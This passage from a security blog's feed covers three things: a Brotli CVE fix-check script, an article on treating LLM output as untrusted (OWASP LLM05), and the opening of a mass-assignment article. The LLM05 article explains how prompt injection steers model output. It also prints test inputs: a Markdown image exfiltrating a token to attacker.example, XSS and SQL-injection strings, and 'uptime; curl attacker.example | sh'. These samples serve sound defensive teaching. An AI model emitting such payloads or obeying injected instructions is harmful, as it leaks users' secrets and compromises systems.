</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e"># brotli-fixcheck.sh DIR...: find vendored Brotli decoder sources and report</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># whether they carry the CVE-2026-111497 fix. Looks at the code, not the</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># version string, because patched Node.js still reports the old version.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> root in <span style="color:#e6db74">&#34;</span>$@<span style="color:#e6db74">&#34;</span>; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span>  find <span style="color:#e6db74">&#34;</span>$root<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\(</span> -name decode.c -path <span style="color:#e6db74">&#39;*dec*&#39;</span> <span style="color:#ae81ff">\)</span> -o <span style="color:#ae81ff">\(</span> -name decode.go -path <span style="color:#e6db74">&#39;*brotli*&#39;</span> <span style="color:#ae81ff">\)</span> 2&gt;/dev/null |
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">while</span> read -r f; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> grep -q <span style="color:#e6db74">&#39;BrotliDecoderErrorCode DecodeBlockTypeAndLength&#39;</span> <span style="color:#e6db74">&#34;</span>$f<span style="color:#e6db74">&#34;</span> <span style="color:#f92672">||</span>
</span></span><span style="display:flex;"><span>       grep -q <span style="color:#e6db74">&#39;func decodeBlockTypeAndLength(.*) int {&#39;</span> <span style="color:#e6db74">&#34;</span>$f<span style="color:#e6db74">&#34;</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>      echo <span style="color:#e6db74">&#34;PATCHED    </span>$f<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">elif</span> grep -q <span style="color:#e6db74">&#39;DecodeBlockTypeAndLength\|decodeBlockTypeAndLength&#39;</span> <span style="color:#e6db74">&#34;</span>$f<span style="color:#e6db74">&#34;</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>      echo <span style="color:#e6db74">&#34;VULNERABLE </span>$f<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span></code></pre></div><p>We tested it against 12 sources pulled from GitHub: upstream Brotli v1.0.9, v1.0.10, v1.1.0, v1.1.1, v1.2.0 and v1.2.1; Node.js <code>deps/brotli</code> at v22.23.3, v22.23.4, v24.22.0 and v24.22.1; and <code>andybalholm/brotli</code> v1.2.6 and v1.2.7. It reported every fixed release as <code>PATCHED</code> and every earlier one as <code>VULNERABLE</code>. Run it over source trees, <code>vendor/</code> directories and <code>$(go env GOMODCACHE)</code>.</p>
<p>It cannot inspect compiled binaries, and a heavily modified fork may not match either pattern. Treat &ldquo;no output&rdquo; as &ldquo;no recognisable copy found&rdquo;, not as &ldquo;safe&rdquo;.</p>
<h2 id="what-to-hunt-for">What to hunt for</h2>
<p>No vendor or agency has published indicators of compromise for this CVE, and CISA&rsquo;s KEV entry does not require forensic triage (<code>forensicTriage: No</code>). Practical checks:</p>
<ul>
<li><strong>Crashes.</strong> Segfaults or aborts in Node.js, Python or proxy processes since late October, especially in services that fetch remote content or accept compressed uploads.</li>
<li><strong>Unexpected Brotli.</strong> Requests with <code>Content-Encoding: br</code> to endpoints that never receive compressed bodies. Wiz recommends reviewing WAF, application and network logs for suspicious Brotli-compressed traffic.</li>
<li><strong>Outbound fetches</strong> from services that took user-supplied URLs, close in time to a crash.</li>
</ul>
<h2 id="limits-of-this-article">Limits of this article</h2>
<p>We did not reproduce the memory corruption or test any exploit. Our checks cover version strings, source code and HTTP client behaviour in a sandbox: Node.js 22.23.4, Python with Brotli 1.2.1, Ubuntu 24.04. The Envoy, Istio and Bun ranges come from a security vendor&rsquo;s summary. The list of affected software is not complete. Wiz notes that other products that bundle or link vulnerable versions of the Brotli C decoder may also be affected.</p>
<p>For the wider process of keeping dependency updates moving, see <a href="/posts/dependency-audits-without-slowing-down-releases/">dependency audits without slowing down releases</a>. For publishing or reading &ldquo;not affected&rdquo; statements about a library like this, see <a href="/posts/vex-explained-what-a-not-affected-statement-means-and-how-to-read-one/">VEX explained</a>. Last week&rsquo;s <a href="/posts/php2shell-cve-2026-109618-cve-2026-109619-patch-and-hunt/">PHP2Shell patch-and-hunt guide</a> covers the two PHP runtime flaws CISA added to KEV the day before.</p>
<h2 id="sources-and-verification">Sources and verification</h2>
<table>
  <thead>
      <tr>
          <th>Important claim</th>
          <th>Source</th>
          <th>Status</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Affected 1.0.3–1.2.0; fixed 1.0.10, 1.1.1, 1.2.1; CVSS 4.0 9.2; CWE-252/787; credit</td>
          <td><a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/111xxx/CVE-2026-111497.json">CVE-2026-111497 record (cvelistV5)</a></td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>KEV added 2026-10-27, due 2026-11-10, forensicTriage No; SSVC exploitation active</td>
          <td><a href="https://github.com/cisagov/kev-data">CISA KEV data</a>; CISA ADP in the CVE record</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>1.2.1 released 2026-10-21 with the CVE fix; code change</td>
          <td><a href="https://github.com/google/brotli/blob/v1.2.1/CHANGELOG.md">google/brotli CHANGELOG</a>; <code>c/dec/decode.c</code> v1.2.0 vs v1.2.1</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Node.js fixed releases, root cause, EOL statement</td>
          <td><a href="https://nodejs.org/en/blog/vulnerability/october-2026-security-releases">Node.js October 2026 security releases</a></td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Patched Node.js reports the old Brotli version</td>
          <td><code>node -p process.versions.brotli</code> on v22.23.4; <code>deps/brotli</code> at the listed tags</td>
          <td>Verified (our test)</td>
      </tr>
      <tr>
          <td>Go fix in andybalholm/brotli v1.2.7</td>
          <td><a href="https://github.com/andybalholm/brotli/releases/tag/v1.2.7">Release v1.2.7</a>; <code>decode.go</code> v1.2.6 vs v1.2.7</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Python Brotli 1.2.1, brotlicffi 1.2.1.0</td>
          <td><a href="https://www.aikido.dev/blog/python-packages-vulnerable-node2shell-brotli-cve-2026-111497">Aikido</a>; PyPI upload dates 2026-10-22</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>urllib3/requests advertise <code>br</code> when Brotli is installed</td>
          <td><a href="https://github.com/urllib3/urllib3/blob/main/src/urllib3/util/request.py">urllib3 <code>util/request.py</code></a>; our test</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Envoy, Istio, Bun ranges</td>
          <td><a href="https://www.wiz.io/blog/cve-2026-111497-brotli-rce-node-js">Wiz</a>; Envoy <code>repository_locations.bzl</code> at v1.39.2/v1.39.3</td>
          <td>Qualified</td>
      </tr>
      <tr>
          <td>Envoy and other consumers affected</td>
          <td><a href="https://www.openwall.com/lists/oss-security/2026/10/23/25">oss-security, 2026-10-23</a>, <a href="https://www.openwall.com/lists/oss-security/2026/10/24/6">2026-10-24</a></td>
          <td>Verified</td>
      </tr>
  </tbody>
</table>
]]></content:encoded></item><item><title>LLM Output Handling: Treat Model Output as Untrusted Input</title><link>https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/</link><guid>https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/</guid><pubDate>Thu, 22 Oct 2026 18:45:00 +0000</pubDate><dc:creator>Craig Leslie</dc:creator><category>AI Security</category><description>OWASP's LLM05:2025 covers what happens when an application passes model output to a browser, database, shell or file path without validation. Because prompt injection can steer that output, it should be handled like user input. Here are the failure modes and tested Python patterns for HTML, SQL and tool calls.</description><enclosure url="https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/cover_hu17014293727835360901.jpg" type="image/jpeg" length="0"/><media:content url="https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/cover_hu17014293727835360901.jpg" medium="image" type="image/jpeg" width="1200" height="630"/><content:encoded><![CDATA[<p><img src="https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/cover_hu17014293727835360901.jpg" alt="A tattooed arm holding a paper filter of coffee grounds as coffee drips into a glass carafe below" width="1200" height="630"></p><p>A model&rsquo;s output feels like your application&rsquo;s own text. It isn&rsquo;t. Anyone who can influence the prompt, directly or through a web page, email or file the model reads, can influence what comes out. When that output is rendered as HTML, run as SQL, passed to a shell or used as a file path, the attacker&rsquo;s influence reaches those systems too. OWASP&rsquo;s Top 10 for LLM Applications calls this <strong>LLM05:2025 Improper Output Handling</strong>.</p>
<p><strong>Scope.</strong> Based on OWASP&rsquo;s LLM05:2025 entry (read from the project&rsquo;s GitHub repository on October 22, 2026). The Python examples were run with Python 3.13, Python-Markdown 3.10.3, nh3 0.3.7 (a Python binding to the Rust Ammonia sanitizer), Pydantic 2.13.5 and SQLite. They demonstrate patterns; they are not a complete defense for any particular application.</p>
<h2 id="what-owasp-covers">What OWASP covers</h2>
<p>OWASP defines LLM05 as &ldquo;insufficient validation, sanitization, and handling of the outputs generated by large language models before they are passed downstream to other components and systems&rdquo;. It notes that because output can be controlled through the prompt, this is &ldquo;similar to providing users indirect access to additional functionality&rdquo;. It separates LLM05 from overreliance: LLM05 is about what happens to output before it goes downstream, not about whether the output is accurate.</p>
<p>OWASP&rsquo;s common examples:</p>
<table>
  <thead>
      <tr>
          <th>Where the output goes</th>
          <th>What can go wrong (OWASP example)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>A shell, <code>exec</code> or <code>eval</code></td>
          <td>Remote code execution</td>
      </tr>
      <tr>
          <td>A browser, as JavaScript or Markdown</td>
          <td>Cross-site scripting (XSS)</td>
      </tr>
      <tr>
          <td>A database, as generated SQL</td>
          <td>SQL injection</td>
      </tr>
      <tr>
          <td>A file path</td>
          <td>Path traversal</td>
      </tr>
      <tr>
          <td>An email template</td>
          <td>Phishing content</td>
      </tr>
  </tbody>
</table>
<p>OWASP also lists conditions that raise the impact: giving the model more privileges than end users have, exposure to indirect prompt injection, third-party extensions that don&rsquo;t validate inputs, no context-aware output encoding, and missing monitoring and rate limiting.</p>
<p>The rest of this article covers three of those destinations with patterns we ran.</p>
<h2 id="1-rendering-markdown-and-html">1. Rendering Markdown and HTML</h2>
<p>Chat interfaces usually render model output as Markdown. Markdown libraries commonly pass raw HTML through (Python-Markdown did in our test), so a model that has been told to emit <code>&lt;img src=x onerror=...&gt;</code> produces script execution in the user&rsquo;s browser. Markdown images are a quieter problem: if the model emits <code>![x](https://attacker.example/c?d=SECRET)</code>, the browser fetches that URL when it renders the image, sending whatever the model put in it. One of OWASP&rsquo;s reference links describes this technique against a chat interface.</p>
<p>The pattern: convert Markdown to HTML, then sanitize the HTML with an allowlist, and only allow images from hosts you control.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> markdown<span style="color:#f92672">,</span> nh3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ALLOWED_TAGS <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;p&#34;</span>, <span style="color:#e6db74">&#34;ul&#34;</span>, <span style="color:#e6db74">&#34;ol&#34;</span>, <span style="color:#e6db74">&#34;li&#34;</span>, <span style="color:#e6db74">&#34;strong&#34;</span>, <span style="color:#e6db74">&#34;em&#34;</span>, <span style="color:#e6db74">&#34;code&#34;</span>, <span style="color:#e6db74">&#34;pre&#34;</span>, <span style="color:#e6db74">&#34;a&#34;</span>, <span style="color:#e6db74">&#34;img&#34;</span>, <span style="color:#e6db74">&#34;blockquote&#34;</span>}
</span></span><span style="display:flex;"><span>IMG_HOSTS <span style="color:#f92672">=</span> (<span style="color:#e6db74">&#34;https://cdn.example.com/&#34;</span>,)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">drop_foreign_images</span>(tag, name, value):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> tag <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;img&#34;</span> <span style="color:#f92672">and</span> name <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;src&#34;</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> value <span style="color:#66d9ef">if</span> value<span style="color:#f92672">.</span>startswith(IMG_HOSTS) <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">None</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> value
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">render_model_markdown</span>(text: str) <span style="color:#f92672">-&gt;</span> str:
</span></span><span style="display:flex;"><span>    html <span style="color:#f92672">=</span> markdown<span style="color:#f92672">.</span>markdown(text)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> nh3<span style="color:#f92672">.</span>clean(html, tags<span style="color:#f92672">=</span>ALLOWED_TAGS,
</span></span><span style="display:flex;"><span>                     attributes<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#34;a&#34;</span>: {<span style="color:#e6db74">&#34;href&#34;</span>}, <span style="color:#e6db74">&#34;img&#34;</span>: {<span style="color:#e6db74">&#34;src&#34;</span>, <span style="color:#e6db74">&#34;alt&#34;</span>}},
</span></span><span style="display:flex;"><span>                     url_schemes<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#34;https&#34;</span>},
</span></span><span style="display:flex;"><span>                     attribute_filter<span style="color:#f92672">=</span>drop_foreign_images)
</span></span></code></pre></div><p>We fed it this model output:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Here is your summary. ![x](https://attacker.example/c?d=SECRET_TOKEN)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;img src=x onerror=alert(1)&gt; [click](javascript:alert(1)) ![logo](https://cdn.example.com/logo.png)
</span></span></code></pre></div><p>Result:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;Here is your summary. &lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;x&#34;</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">img</span>&gt; &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;noopener noreferrer&#34;</span>&gt;click&lt;/<span style="color:#f92672">a</span>&gt; &lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;logo&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://cdn.example.com/logo.png&#34;</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span></code></pre></div><p>The <code>onerror</code> handler and the <code>javascript:</code> link are gone, the attacker&rsquo;s image URL was stripped, and the image from the allowed host survived. If you don&rsquo;t need images or links in model output, leave them out of the allowlist entirely. OWASP also recommends a strict Content Security Policy as a second layer; our <a href="/posts/content-security-policy-a-strict-nonce-based-policy-and-how-to-roll-it-out-safely/">nonce-based CSP guide</a> covers that, and an <code>img-src</code> directive limited to your own hosts blocks the image exfiltration path even if sanitization misses something.</p>
<p>If you display output as plain text, you don&rsquo;t need a sanitizer: HTML-encode it, which is what most template engines do by default unless you mark the content as safe.</p>
<h2 id="2-database-queries">2. Database queries</h2>
<p>OWASP&rsquo;s third scenario is a chat feature that writes SQL; a user asks for a query that deletes all tables, and the application runs it. OWASP recommends parameterized queries for any database operation involving model output.</p>
<p>The stronger design is to not let the model write SQL at all. Let it choose from operations you define and fill in typed parameters, which you validate before they go anywhere near the database:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> typing <span style="color:#f92672">import</span> Literal
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> pydantic <span style="color:#f92672">import</span> BaseModel, ConfigDict, Field
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">OrderQuery</span>(BaseModel):
</span></span><span style="display:flex;"><span>    model_config <span style="color:#f92672">=</span> ConfigDict(extra<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;forbid&#34;</span>)
</span></span><span style="display:flex;"><span>    status: Literal[<span style="color:#e6db74">&#34;open&#34;</span>, <span style="color:#e6db74">&#34;shipped&#34;</span>, <span style="color:#e6db74">&#34;cancelled&#34;</span>]
</span></span><span style="display:flex;"><span>    limit: int <span style="color:#f92672">=</span> Field(default<span style="color:#f92672">=</span><span style="color:#ae81ff">20</span>, ge<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>, le<span style="color:#f92672">=</span><span style="color:#ae81ff">100</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">run_order_query</span>(db, model_json: str, customer_id: int):
</span></span><span style="display:flex;"><span>    q <span style="color:#f92672">=</span> OrderQuery<span style="color:#f92672">.</span>model_validate_json(model_json)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> db<span style="color:#f92672">.</span>execute(
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;SELECT id, status FROM orders WHERE customer_id = ? AND status = ? LIMIT ?&#34;</span>,
</span></span><span style="display:flex;"><span>        (customer_id, q<span style="color:#f92672">.</span>status, q<span style="color:#f92672">.</span>limit))<span style="color:#f92672">.</span>fetchall()
</span></span></code></pre></div><p>Three details matter. The SQL text is yours. The values are bound as parameters. And <code>customer_id</code> comes from the authenticated session, not from the model, so a prompt can&rsquo;t redirect the query to another customer&rsquo;s data. We tested it against an in-memory SQLite table:</p>
<table>
  <thead>
      <tr>
          <th>Model output</th>
          <th>Result</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>{&quot;status&quot;:&quot;open&quot;}</code></td>
          <td>Returned only customer 42&rsquo;s open order</td>
      </tr>
      <tr>
          <td><code>{&quot;status&quot;:&quot;open' OR 1=1 --&quot;}</code></td>
          <td>Rejected: not one of the allowed literals</td>
      </tr>
      <tr>
          <td><code>{&quot;status&quot;:&quot;open&quot;,&quot;customer_id&quot;:99}</code></td>
          <td>Rejected: extra field forbidden</td>
      </tr>
      <tr>
          <td><code>{&quot;status&quot;:&quot;open&quot;,&quot;limit&quot;:100000}</code></td>
          <td>Rejected: limit above 100</td>
      </tr>
  </tbody>
</table>
<p>Most model APIs can be asked to return output that follows a JSON schema, which makes this pattern practical. Validate anyway: a schema request is not a guarantee.</p>
<h2 id="3-shell-commands-and-tool-calls">3. Shell commands and tool calls</h2>
<p>OWASP&rsquo;s first example is model output passed to a shell, <code>exec</code> or <code>eval</code>. The fix is the same shape: the model picks an action by name, your code maps the name to a fixed command, and nothing the model writes is interpreted by a shell.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> subprocess
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ACTIONS <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;disk_usage&#34;</span>: [<span style="color:#e6db74">&#34;df&#34;</span>, <span style="color:#e6db74">&#34;-h&#34;</span>], <span style="color:#e6db74">&#34;uptime&#34;</span>: [<span style="color:#e6db74">&#34;uptime&#34;</span>]}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">run_action</span>(model_choice: str):
</span></span><span style="display:flex;"><span>    argv <span style="color:#f92672">=</span> ACTIONS<span style="color:#f92672">.</span>get(model_choice)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> argv <span style="color:#f92672">is</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">raise</span> <span style="color:#a6e22e">ValueError</span>(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;action not allowed: </span><span style="color:#e6db74">{</span>model_choice<span style="color:#e6db74">!r}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> subprocess<span style="color:#f92672">.</span>run(argv, capture_output<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>, text<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>, timeout<span style="color:#f92672">=</span><span style="color:#ae81ff">10</span>, check<span style="color:#f92672">=</span><span style="color:#66d9ef">False</span>)<span style="color:#f92672">.</span>stdout
</span></span></code></pre></div><p>In our test, <code>&quot;uptime&quot;</code> ran the command, and <code>&quot;uptime; curl attacker.example | sh&quot;</code> was rejected because it isn&rsquo;t a key in the table. If an action needs an argument, such as a file name, validate it against a pattern and pass it as a separate list element, never by building a command string. For file paths, resolve the path and check it is inside the directory you expect before opening it.</p>
<p>The same logic applies to agent tools that call internal APIs. OWASP&rsquo;s first scenario describes a general-purpose model passing its output, unvalidated, to an extension with administrative functions. Give each tool the narrowest permission it needs, and validate tool arguments in the tool, not in the prompt.</p>
<h2 id="a-checklist">A checklist</h2>
<ul>
<li>List every place model output goes: browser, database, shell, file system, email, other APIs, other models.</li>
<li>For each, decide the encoding or validation that destination needs, as you would for user input. OWASP points to the ASVS (Application Security Verification Standard) for validation and encoding guidance.</li>
<li>Prefer structured output with an allowlist (actions, enums, typed fields) over free text that you parse.</li>
<li>Take identity and authorization from the session, never from model output.</li>
<li>Sanitize rendered Markdown or HTML with an allowlist, and restrict image and link destinations.</li>
<li>Log model outputs that reach sensitive sinks, and alert on validation failures. A spike in rejected tool calls is a useful signal of injection attempts.</li>
<li>Rate-limit model usage; OWASP lists missing rate limiting and anomaly detection as impact amplifiers.</li>
</ul>
<p>These controls limit what a manipulated model can do. They don&rsquo;t stop the manipulation, which is OWASP&rsquo;s LLM01:2025 Prompt Injection. If you are new to how request forgery from a server works, our <a href="/posts/ssrf-explained-how-server-side-request-forgery-works-and-how-to-prevent-it/">SSRF explainer</a> covers the SSRF outcome OWASP mentions.</p>
<h2 id="limits-of-this-article">Limits of this article</h2>
<p>The examples cover three destinations and were run in isolation, not inside a model-driven application. The sanitizer configuration is a starting point; review it against the content your interface actually needs. We did not test any specific model or vendor API, and we did not independently verify the incidents OWASP links as references.</p>
<h2 id="sources-and-verification">Sources and verification</h2>
<p>Checked on October 22, 2026.</p>
<table>
  <thead>
      <tr>
          <th>Important claim</th>
          <th>Source</th>
          <th>Verification</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>LLM05:2025 definition, difference from overreliance, possible outcomes, impact conditions, common examples, mitigations (treat model as a user, ASVS, context-aware encoding, parameterized queries, CSP, logging), scenarios</td>
          <td><a href="https://genai.owasp.org/llmrisk/llm052025-improper-output-handling/">OWASP Top 10 for LLM Applications 2025: LLM05 Improper Output Handling</a> (source text in OWASP&rsquo;s GitHub repository)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>LLM01:2025 is Prompt Injection</td>
          <td><a href="https://genai.owasp.org/llmrisk/llm01-prompt-injection/">OWASP LLM01:2025</a> (source text in OWASP&rsquo;s GitHub repository)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Sanitizer output for the test input</td>
          <td>Run by us on October 22, 2026 (Python-Markdown 3.10.3, nh3 0.3.7)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>SQL pattern accepts valid input and rejects the three bad inputs</td>
          <td>Run by us on October 22, 2026 (Pydantic 2.13.5, SQLite in memory)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Action allowlist rejects an injected command string</td>
          <td>Run by us on October 22, 2026</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Python-Markdown passes raw HTML through</td>
          <td>Observed in our test with version 3.10.3</td>
          <td>Verified for that version</td>
      </tr>
  </tbody>
</table>
]]></content:encoded></item><item><title>Mass Assignment: How to Stop Clients Setting role=admin</title><link>https://firewallsync.com/posts/mass-assignment-vulnerability-how-to-stop-clients-setting-role-admin/</link><guid>https://firewallsync.com/posts/mass-assignment-vulnerability-how-to-stop-clients-setting-role-admin/</guid><pubDate>Thu, 22 Oct 2026 18:44:00 +0000</pubDate><dc:creator>John Marshall</dc:creator><category>AppSec &amp; APIs</category><description>Mass assignment happens when a framework binds every field in a request onto an object, so a client can set fields like role, plan or owner that the UI never showed. Here is how it works, what OWASP's API Top 10 calls it now, and tested fixes in Python plus the Spring and Rails mechanisms.</description><enclosure url="https://firewallsync.com/posts/mass-assignment-vulnerability-how-to-stop-clients-setting-role-admin/cover_hu4478286509438204951.jpg" type="image/jpeg" length="0"/><media:content url="https://firewallsync.com/posts/mass-assignment-vulnerability-how-to-stop-clients-setting-role-admin/cover_hu4478286509438204951.jpg" medium="image" type="image/jpeg" width="1200" height="630"/><content:encoded><![CDATA[<p><img src="https://firewallsync.com/posts/mass-assignment-vulnerability-how-to-stop-clients-setting-role-admin/cover_hu4478286509438204951.jpg" alt="A hand with a pen ticking boxes on a handwritten checklist in a notebook, against a dark blurred background" width="1200" height="630"></p><p>A user edits their display name. The browser sends <code>{&quot;display_name&quot;: &quot;Bobby&quot;}</code>. An attacker sends <code>{&quot;display_name&quot;: &quot;Bobby&quot;, &quot;role&quot;: &quot;admin&quot;}</code> to the same endpoint, and the server saves both, because the handler copies every field in the request onto the user record. That is a mass assignment vulnerability. It needs no special tooling, only a guess at a field name, and it turns an ordinary profile form into a privilege-escalation endpoint.</p>
<p><strong>Scope.</strong> Based on the OWASP Mass Assignment Cheat Sheet and the OWASP API Security Top 10 2023 entry for API3 (both read from OWASP&rsquo;s GitHub repositories), the Spring Framework data-binding documentation and the Rails Action Controller guide (main branches, read October 22, 2026). The Python example was run with Python 3.13, Flask 3.1.3 and Pydantic 2.13.5 using Flask&rsquo;s test client. The Spring and Rails snippets are illustrative and were not run.</p>
<h2 id="how-it-happens">How it happens</h2>
<p>Many frameworks bind request data onto objects automatically. OWASP&rsquo;s cheat sheet lists the names the weakness goes by: mass assignment in Ruby on Rails and Node.js, autobinding in Spring MVC and ASP.NET MVC, object injection in PHP. The underlying weakness is CWE-915, improperly controlled modification of dynamically determined object attributes.</p>
<p>The risk appears when the object you bind to has more properties than the caller should control: an ORM entity with <code>role</code>, <code>is_verified</code>, <code>org_id</code> or <code>balance</code>. The client never sees those fields in the UI, but OWASP points out that field names can be guessed or discovered and source code access is not needed. API responses often help, because they return the full object, field names included.</p>
<p>OWASP&rsquo;s cheat sheet cites GitHub&rsquo;s 2012 incident as a case study: a user was able to add his public key to an organization he didn&rsquo;t belong to and push changes to its repositories.</p>
<p>In the 2023 OWASP API Security Top 10, mass assignment is part of <strong>API3:2023 Broken Object Property Level Authorization</strong>. An endpoint is vulnerable if it lets a user read properties they shouldn&rsquo;t (formerly &ldquo;Excessive Data Exposure&rdquo;) or change, add or delete properties they shouldn&rsquo;t (formerly &ldquo;Mass Assignment&rdquo;). OWASP rates exploitability as easy and notes that fuzzing is commonly used to find hidden properties.</p>
<h2 id="a-tested-example-in-python">A tested example in Python</h2>
<p>The vulnerable version writes every key in the JSON body onto the stored user:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> flask <span style="color:#f92672">import</span> Flask, request, jsonify, g
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> pydantic <span style="color:#f92672">import</span> BaseModel, ConfigDict, EmailStr, ValidationError, Field
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>app <span style="color:#f92672">=</span> Flask(__name__)
</span></span><span style="display:flex;"><span>USERS <span style="color:#f92672">=</span> {<span style="color:#ae81ff">1</span>: {<span style="color:#e6db74">&#34;id&#34;</span>: <span style="color:#ae81ff">1</span>, <span style="color:#e6db74">&#34;email&#34;</span>: <span style="color:#e6db74">&#34;bob@example.com&#34;</span>, <span style="color:#e6db74">&#34;display_name&#34;</span>: <span style="color:#e6db74">&#34;Bob&#34;</span>,
</span></span><span style="display:flex;"><span>             <span style="color:#e6db74">&#34;role&#34;</span>: <span style="color:#e6db74">&#34;member&#34;</span>, <span style="color:#e6db74">&#34;plan&#34;</span>: <span style="color:#e6db74">&#34;free&#34;</span>, <span style="color:#e6db74">&#34;org_id&#34;</span>: <span style="color:#ae81ff">7</span>}}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@app.before_request</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">fake_auth</span>():
